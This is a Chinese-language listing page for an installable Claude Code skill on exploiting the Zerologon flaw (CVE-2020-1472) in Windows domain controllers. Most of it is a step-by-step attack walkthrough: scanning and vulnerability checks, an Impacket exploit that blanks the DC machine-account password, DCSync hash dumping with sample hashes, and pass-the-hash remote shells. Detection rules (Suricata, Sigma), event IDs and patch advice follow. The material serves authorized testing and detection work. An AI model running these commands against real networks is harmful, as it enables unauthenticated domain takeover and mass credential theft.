关于 exploiting-zerologon-vulnerability-cve-2020-1472
面向授权安全测试和分析人员的 Zerologon(CVE-2020-1472)漏洞技能,介绍其对未修补域控制器的影响、检测与防御。内容涵盖漏洞验证、攻击过程和密码恢复;仅适用于获准的测试或受控环境。
主要功能
- 01说明漏洞成因与受影响系统
- 02检查域控制器是否易受攻击
- 03演示漏洞利用与 DCSync 流程
- 04提供事件日志和网络检测线索
- 05列出修补与防护建议
适用场景
- 01在授权红队演练中验证漏洞
- 02在受控环境分析攻击产物
- 03构建 Zerologon 检测能力
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-zerologon-vulnerability-cve-2020-1472安装后在 Claude Code 中输入/exploiting-zerologon-vulnerability-cve-2020-1472确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
利用 Zerologon 漏洞(CVE-2020-1472)
概述
Zerologon(CVE-2020-1472)是 Microsoft Netlogon 远程协议(MS-NRPC)中的一个严重权限提升漏洞(CVSS 10.0)。该缺陷存在于 AES-CFB8 模式的加密实现中,其中初始化向量(IV)被错误地设置为全零。这允许具有域控制器网络访问权限的未认证攻击者建立 Netlogon 会话,并将 DC 机器账户密码重置为空,从而实现完全的域接管。Microsoft 于 2020 年 8 月修复了此漏洞(KB4571694)。
何时使用
- 在执行涉及利用 zerologon 漏洞 cve 2020 1472 的授权安全测试时
- 在受控环境中分析恶意软件样本或攻击痕迹时
- 在开展红队演练或渗透测试项目时
- 在基于对攻击技术的理解构建检测能力时
前提条件
- 对域控制器的网络访问(TCP 端口 135 和动态 RPC 端口)
- 无需认证(未认证利用)
- 目标 DC 不得启用 2021 年 2 月的强制执行模式
- 已安装 Impacket 工具包
- 红队项目的书面授权
法律声明: 本技能仅用于授权安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统进行使用是违法的,并可能违反计算机欺诈法律。
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1068 | 权限提升利用 | 权限提升 |
| T1210 | 远程服务利用 | 横向移动 |
| T1003.006 | 操作系统凭据转储:DCSync | 凭据访问 |
| T1078.002 | 有效账户:域账户 | 持久化 |
漏洞技术细节
根本原因
Netlogon 认证协议使用带有客户端质询和服务器质询的 AES-CFB8 加密。漏洞存在的原因如下:
- IV 被硬编码为 16 字节的零
- 当明文为 8 字节的零 时,AES-CFB8 以 1/256 的概率产生 全零 的密文
- 攻击者可以发送大约 256 次认证尝试(耗时约 3 秒)即可成功
受影响的系统
- Windows Server 2008 R2 到 Windows Server 2019
- 所有运行未修补 Netlogon 服务的域控制器
- Samba 版本 < 4.8(如果作为 AD DC 运行)
步骤 1:识别存在漏洞的域控制器
# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1
# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
步骤 2:利用 Zerologon
# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1
# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
步骤 3:使用空密码进行 DCSync
# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\[email protected]
# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::
# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\[email protected] \
-just-dc-user Administrator
步骤 4:获取域管理员访问权限
# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/[email protected]
# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/[email protected]
步骤 5:恢复机器账户密码(关键)
警告:在利用 Zerologon 之后,DC 机器账户密码为空,这会破坏 Active Directory 复制和服务。您必须恢复它。
# Method 1: Use the exploit's restore functionality
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
-hexpass <original_hex_password>
# Method 2: Force machine account password change from DC
# Connect to DC as Administrator and run:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
# Method 3: Restart the DC (it will auto-regenerate machine password)
# This is the safest method but causes downtime
检测
Windows 事件日志
Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period
Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt
Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP
网络检测
# Suricata rule for Zerologon
alert dcerpc any any -> any any (
msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
flow:established,to_server;
dce_opnum:4;
content:"|00 00 00 00 00 00 00 00|";
sid:2030870;
rev:1;
)
Sigma 规则
title: Zerologon Exploitation Attempt
status: stable
logsource:
product: windows
service: system
detection:
selection:
EventID: 5805
LogonType: 3
timeframe: 5m
condition: selection | count(EventID) > 100
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2020.1472
防御建议
- 立即应用补丁 - KB4571694(2020 年 8 月)并强制执行 2021 年 2 月模式
- 通过注册表启用强制执行模式:
FullSecureChannelProtection = 1 - 监控事件 ID 5805 以发现重复的 Netlogon 失败
- 部署 Microsoft Defender for Identity(自动检测 Zerologon)
- 网络分段 - 限制从用户网络直接访问 DC
- 在可能的情况下阻止来自非 DC 系统的 Netlogon RPC
References
- CVE-2020-1472: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
- Secura Whitepaper: https://www.secura.com/blog/zero-logon
- CrowdStrike Advisory: https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/
- CISA Alert AA20-283A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a
- Microsoft Enforcement: https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24
评论
支持 Markdown